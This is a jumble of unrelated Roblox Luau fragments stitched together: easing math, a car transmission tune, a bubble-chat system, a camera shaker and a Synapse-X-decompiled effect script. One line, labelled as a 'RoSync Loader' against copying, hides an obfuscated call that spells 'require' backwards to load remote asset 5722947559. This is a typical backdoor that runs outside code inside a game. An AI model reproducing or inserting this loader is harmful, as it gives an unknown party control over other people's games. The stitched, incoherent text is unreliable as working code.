--[=[ @function removeValues @within Dictionary @param dictionary {[K]: V} -- The dictionary to remove the values from. @param values ...V -- The values to remove. @return {[K]: V} -- The dictionary without the given values. Removes the given values from the given dictionary. ```lua local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow", goodbye = "world" } local withoutWorld = RemoveValues(dictionary, "world") -- { cat = "meow", unicorn = "rainbow" } local onlyWorld = RemoveValues(dictionary, "meow", "rainbow") -- { hello = "world", goodbye = "world" } ``` ]=]
local function removeValues<K, V>(dictionary: { [K]: V }, ...: V): { [K]: V } local values = ToSet({ ... }) local result = {} for key, value in pairs(dictionary) do if not values[value] then result[key] = value end end return result end return removeValues
--// Modules
local L_92_ = require(L_21_:WaitForChild("Utilities")) local L_93_ = require(L_21_:WaitForChild("Spring")) local L_94_ = require(L_21_:WaitForChild("Plugins")) local L_95_ = require(L_21_:WaitForChild("easing")) local L_96_ = L_92_.Fade local L_97_ = L_92_.SpawnCam local L_98_ = L_92_.FixCam local L_99_ = L_92_.tweenFoV local L_100_ = L_92_.tweenCam local L_101_ = L_92_.tweenRoll local L_102_ = L_92_.TweenJoint local L_103_ = L_92_.Weld
--{{SERVICES}}
local TweenService = game:GetService("TweenService") local Debris = game:GetService("Debris")
------------------------------------------------------------------------------------------------------------------------------------------------
easings.QuadIn = function(t) t = t / 1 return 1 * math.pow(t, 2) + 0 end easings.QuadOut = function(t) t = t / 1 return -1 * t * (t - 2) + 0 end easings.QuadInOut = function(t) t = t / 1 * 2 if t < 1 then return 1 / 2 * math.pow(t, 2) + 0 else return -1 / 2 * ((t - 1) * (t - 3) - 1) + 0 end end easings.QuadOutIn = function(t) if t < 1 / 2 then return easings.QuadOut(t * 2, 0, 1 / 2, 1) else return easings.QuadIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end easings.CubicIn = function(t) t = t / 1 return 1 * math.pow(t, 3) + 0 end easings.CubicOut = function(t) t = t / 1 - 1 return 1 * (math.pow(t, 3) + 1) + 0 end easings.CubicInOut = function(t) t = t / 1 * 2 if t < 1 then return 1 / 2 * t * t * t + 0 else t = t - 2 return 1 / 2 * (t * t * t + 2) + 0 end end easings.CubicOutIn = function(t) if t < 1 / 2 then return easings.CubicOut(t * 2, 0, 1 / 2, 1) else return easings.CubicIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end easings.QuartIn = function(t) t = t / 1 return 1 * math.pow(t, 4) + 0 end easings.QuartOut = function(t) t = t / 1 - 1 return -1 * (math.pow(t, 4) - 1) + 0 end easings.QuartInOut = function(t) t = t / 1 * 2 if t < 1 then return 1 / 2 * math.pow(t, 4) + 0 else t = t - 2 return -1 / 2 * (math.pow(t, 4) - 2) + 0 end end easings.QuartOutIn = function(t) if t < 1 / 2 then return easings.QuartOut(t * 2, 0, 1 / 2, 1) else return easings.QuartIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end easings.QuintIn = function(t) t = t / 1 return 1 * math.pow(t, 5) + 0 end easings.QuintOut = function(t) t = t / 1 - 1 return 1 * (math.pow(t, 5) + 1) + 0 end easings.QuintInOut = function(t) t = t / 1 * 2 if t < 1 then return 1 / 2 * math.pow(t, 5) + 0 else t = t - 2 return 1 / 2 * (math.pow(t, 5) + 2) + 0 end end easings.QuintOutIn = function(t) if t < 1 / 2 then return easings.QuintOut(t * 2, 0, 1 / 2, 1) else return easings.QuintIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end easings.SineIn = function(t) return -1 * math.cos(t / 1 * (math.pi / 2)) + 1 + 0 end easings.SineOut = function(t) return 1 * math.sin(t / 1 * (math.pi / 2)) + 0 end easings.SineInOut = function(t) return -1 / 2 * (math.cos(math.pi * t / 1) - 1) + 0 end easings.SineOutIn = function(t) if t < 1 / 2 then return easings.SineOut(t * 2, 0, 1 / 2, 1) else return easings.SineIn((t * 2) -1, 0 + 1 / 2, 1 / 2, 1) end end easings.ExpoIn = function(t) if t == 0 then return 0 else return 1 * math.pow(2, 10 * (t / 1 - 1)) + 0 - 1 * 0.001 end end easings.ExpoOut = function(t) if t == 1 then return 0 + 1 else return 1 * 1.001 * (-math.pow(2, -10 * t / 1) + 1) + 0 end end easings.ExpoInOut = function(t) if t == 0 then return 0 end if t == 1 then return 0 + 1 end t = t / 1 * 2 if t < 1 then return 1 / 2 * math.pow(2, 10 * (t - 1)) + 0 - 1 * 0.0005 else t = t - 1 return 1 / 2 * 1.0005 * (-math.pow(2, -10 * t) + 2) + 0 end end easings.ExpoOutIn = function(t) if t < 1 / 2 then return easings.ExpoOut(t * 2, 0, 1 / 2, 1) else return easings.ExpoIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end easings.CircIn = function(t) t = t / 1 return(-1 * (math.sqrt(1 - math.pow(t, 2)) - 1) + 0) end easings.CircOut = function(t) t = t / 1 - 1 return(1 * math.sqrt(1 - math.pow(t, 2)) + 0) end easings.CircInOut = function(t) t = t / 1 * 2 if t < 1 then return -1 / 2 * (math.sqrt(1 - t * t) - 1) + 0 else t = t - 2 return 1 / 2 * (math.sqrt(1 - t * t) + 1) + 0 end end easings.CircOutIn = function(t) if t < 1 / 2 then return easings.CircOut(t * 2, 0, 1 / 2, 1) else return easings.CircIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end easings.ElasticIn = function(t) if t == 0 then return 0 end t = t / 1 if t == 1 then return 0 + 1 end if not p then p = 1 * 0.3 end local s if not a or a < math.abs(1) then a = 1 s = p / 4 else s = p / (2 * math.pi) * math.asin(1/a) end t = t - 1 return -(a * math.pow(2, 10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p)) + 0 end easings.ElasticOut = function(t) if t == 0 then return 0 end t = t / 1 if t == 1 then return 0 + 1 end if not p then p = 1 * 0.3 end local s if not a or a < math.abs(1) then a = 1 s = p / 4 else s = p / (2 * math.pi) * math.asin(1/a) end return a * math.pow(2, -10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p) + 1 + 0 end easings.ElasticInOut = function(t) if t == 0 then return 0 end t = t / 1 * 2 if t == 2 then return 0 + 1 end if not p then p = 1 * (0.3 * 1.5) end if not a then a = 0 end local s if not a or a < math.abs(1) then a = 1 s = p / 4 else s = p / (2 * math.pi) * math.asin(1 / a) end if t < 1 then t = t - 1 return -0.5 * (a * math.pow(2, 10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p)) + 0 else t = t - 1 return a * math.pow(2, -10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p ) * 0.5 + 1 + 0 end end easings.ElasticOutIn = function(t) if t < 1 / 2 then return easings.ElasticOut(t * 2, 0, 1 / 2, 1, a, p) else return easings.ElasticIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1, a, p) end end easings.BackIn = function(t) if not s then s = 1.70158 end t = t / 1 return 1 * t * t * ((s + 1) * t - s) + 0 end easings.BackOut = function(t) if not s then s = 1.70158 end t = t / 1 - 1 return 1 * (t * t * ((s + 1) * t + s) + 1) + 0 end easings.BackInOut = function(t) if not s then s = 1.70158 end s = s * 1.525 t = t / 1 * 2 if t < 1 then return 1 / 2 * (t * t * ((s + 1) * t - s)) + 0 else t = t - 2 return 1 / 2 * (t * t * ((s + 1) * t + s) + 2) + 0 end end easings.BackOutIn = function(t) if t < 1 / 2 then return easings.BackOut(t * 2, 0, 1 / 2, 1, s) else return easings.BackIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1, s) end end easings.BounceOut = function(t) t = t / 1 if t < 1 / 2.75 then return 1 * (7.5625 * t * t) + 0 elseif t < 2 / 2.75 then t = t - (1.5 / 2.75) return 1 * (7.5625 * t * t + 0.75) + 0 elseif t < 2.5 / 2.75 then t = t - (2.25 / 2.75) return 1 * (7.5625 * t * t + 0.9375) + 0 else t = t - (2.625 / 2.75) return 1 * (7.5625 * t * t + 0.984375) + 0 end end easings.BounceIn = function(t) return 1 - easings.BounceOut(1 - t, 0, 1, 1) + 0 end easings.BounceInOut = function(t) if t < 1 / 2 then return easings.BounceIn(t * 2, 0, 1, 1) * 0.5 + 0 else return easings.BounceOut(t * 2 - 1, 0, 1, 1) * 0.5 + 1 * .5 + 0 end end easings.BounceOutIn = function(t) if t < 1 / 2 then return easings.BounceOut(t * 2, 0, 1 / 2, 1) else return easings.BounceIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1) end end
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if string.len(msg) > MaxChatMessageLengthExclusive then return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES)) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1,0,1,0) billboardFrame.Position = UDim2.new(0,0,-0.5,0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4,0,3,0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0) bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0) bubbleText.Font = CHAT_BUBBLE_FONT if shouldClipInGameChat then bubbleText.ClipsDescendants = true end bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0,0,0.5,0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT ) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do task.wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = task.wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1) local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0,0,0,0) chatBubbleRender.Position = UDim2.new(0.5,0,1,0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo) end end function this:OnGameChatMessage(origin, message, color) local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo) end function this:BubbleChatEnabled() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then local chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(21) game.Workspace.doorright.l12.BrickColor = BrickColor.new(1) game.Workspace.doorright.l13.BrickColor = BrickColor.new(21) game.Workspace.doorright.l41.BrickColor = BrickColor.new(1) game.Workspace.doorright.l42.BrickColor = BrickColor.new(21) game.Workspace.doorright.l43.BrickColor = BrickColor.new(1) game.Workspace.doorright.l71.BrickColor = BrickColor.new(21) game.Workspace.doorright.l72.BrickColor = BrickColor.new(1) game.Workspace.doorright.l73.BrickColor = BrickColor.new(21) game.Workspace.doorright.l31.BrickColor = BrickColor.new(21) game.Workspace.doorright.l32.BrickColor = BrickColor.new(1) game.Workspace.doorright.l33.BrickColor = BrickColor.new(21) game.Workspace.doorright.l61.BrickColor = BrickColor.new(1) game.Workspace.doorright.l62.BrickColor = BrickColor.new(21) game.Workspace.doorright.l63.BrickColor = BrickColor.new(1) game.Workspace.doorright.l21.BrickColor = BrickColor.new(1) game.Workspace.doorright.l22.BrickColor = BrickColor.new(21) game.Workspace.doorright.l23.BrickColor = BrickColor.new(1) game.Workspace.doorright.l51.BrickColor = BrickColor.new(21) game.Workspace.doorright.l52.BrickColor = BrickColor.new(1) game.Workspace.doorright.l53.BrickColor = BrickColor.new(21) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(21)
--///////////////////////// Constructors --//////////////////////////////////////
function module.new(vChatService, name) local obj = setmetatable({}, methods) obj.ChatService = vChatService obj.PlayerObj = nil obj.Name = name obj.ExtraData = {} obj.Channels = {} obj.MutedSpeakers = {} obj.EventFolder = nil return obj end return module
----------All Scripts And Building Goes To Originalsavageguy345.Credit
--[=[ @within Shake @prop FadeInTime number How long it takes for the shake to fade in, measured in seconds. Defaults to `1`. ]=]
-- Track star progress from last change
local prevStarProgress = 0 local currStarProgress = 0
--I do this to make sure no one copys. :D --[[ Last synced 7/9/2021 08:32 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- Returns an interpolation between position0 and position1. -- Returns position0 when t = 0, and position1 when t = 1.
function moduleApiTable:Lerp(t, position0, position1) return (1 - t) * position0 + t * position1 end
--CameraShaker.Presets = require(script.CameraShakePresets)
function CameraShaker.new(renderPriority, callback) assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)") assert(type(callback) == "function", "Callback must be a function") local self = setmetatable({ _running = false; _renderName = "CameraShaker"; _renderPriority = renderPriority; _posAddShake = v3Zero; _rotAddShake = v3Zero; _camShakeInstances = {}; _removeInstances = {}; _callback = callback; }, CameraShaker) return self end function CameraShaker:Start() if (self._running) then return end self._running = true local callback = self._callback game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt) profileBegin(profileTag) local cf = self:Update(dt) profileEnd() callback(cf) end) end function CameraShaker:Stop() if (not self._running) then return end game:GetService("RunService"):UnbindFromRenderStep(self._renderName) self._running = false end function CameraShaker:StopSustained(duration) for _,c in pairs(self._camShakeInstances) do if (c.fadeOutDuration == 0) then c:StartFadeOut(duration or c.fadeInDuration) end end end function CameraShaker:Update(dt) local posAddShake = v3Zero local rotAddShake = v3Zero local instances = self._camShakeInstances -- Update all instances: for i = 1,#instances do local c = instances[i] local state = c:GetState() if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then self._removeInstances[#self._removeInstances + 1] = i elseif (state ~= CameraShakeState.Inactive) then local shake = c:UpdateShake(dt) posAddShake = posAddShake + (shake * c.PositionInfluence) rotAddShake = rotAddShake + (shake * c.RotationInfluence) end end -- Remove dead instances: for i = #self._removeInstances,1,-1 do local instIndex = self._removeInstances[i] table.remove(instances, instIndex) self._removeInstances[i] = nil end return CF(posAddShake) * ANG(0, RAD(rotAddShake.Y), 0) * ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z)) end function CameraShaker:Shake(shakeInstance) assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance") self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance return shakeInstance end function CameraShaker:ShakeSustain(shakeInstance) assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance") self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance shakeInstance:StartFadeIn(shakeInstance.fadeInDuration) return shakeInstance end function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence) local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime) shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence) shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence) self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance return shakeInstance end function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence) local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime) shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence) shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence) shakeInstance:StartFadeIn(fadeInTime) self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance return shakeInstance end return CameraShaker
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__ReplicatedStorage__2 = game.ReplicatedStorage; local v3 = require(game.ReplicatedStorage.Modules.Lightning); local v4 = require(game.ReplicatedStorage.Modules.Xeno); local v5 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__6 = game.TweenService; local l__Debris__7 = game.Debris; function v1.RunStompFx(p1, p2, p3, p4) local v8 = game.ReplicatedStorage.KillFX.Portal.Portal:Clone(); v8.Parent = workspace.Ignored.Animations; v8.Portal:Play(); v8.CFrame = CFrame.new(p2.Position) * CFrame.new(math.random(-15, 15), 5, math.random(-15, 15)); local v9 = game.ReplicatedStorage.KillFX.Portal:FindFirstChildOfClass("BodyPosition"):Clone(); v9.Position = v8.Position; v9.Parent = p2; for v10, v11 in pairs(p2.Parent:GetDescendants()) do if v11:IsA("Decal") or v11:IsA("BasePart") then game.TweenService:Create(v11, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { Transparency = 1 }):Play(); end; end; task.delay(0.5, function() for v12, v13 in pairs(v8.Attachment:GetChildren()) do v13.Enabled = false; task.wait(0.3); v13.Squash = NumberSequence.new(0.1, 1); end; end); return nil; end; return v1;
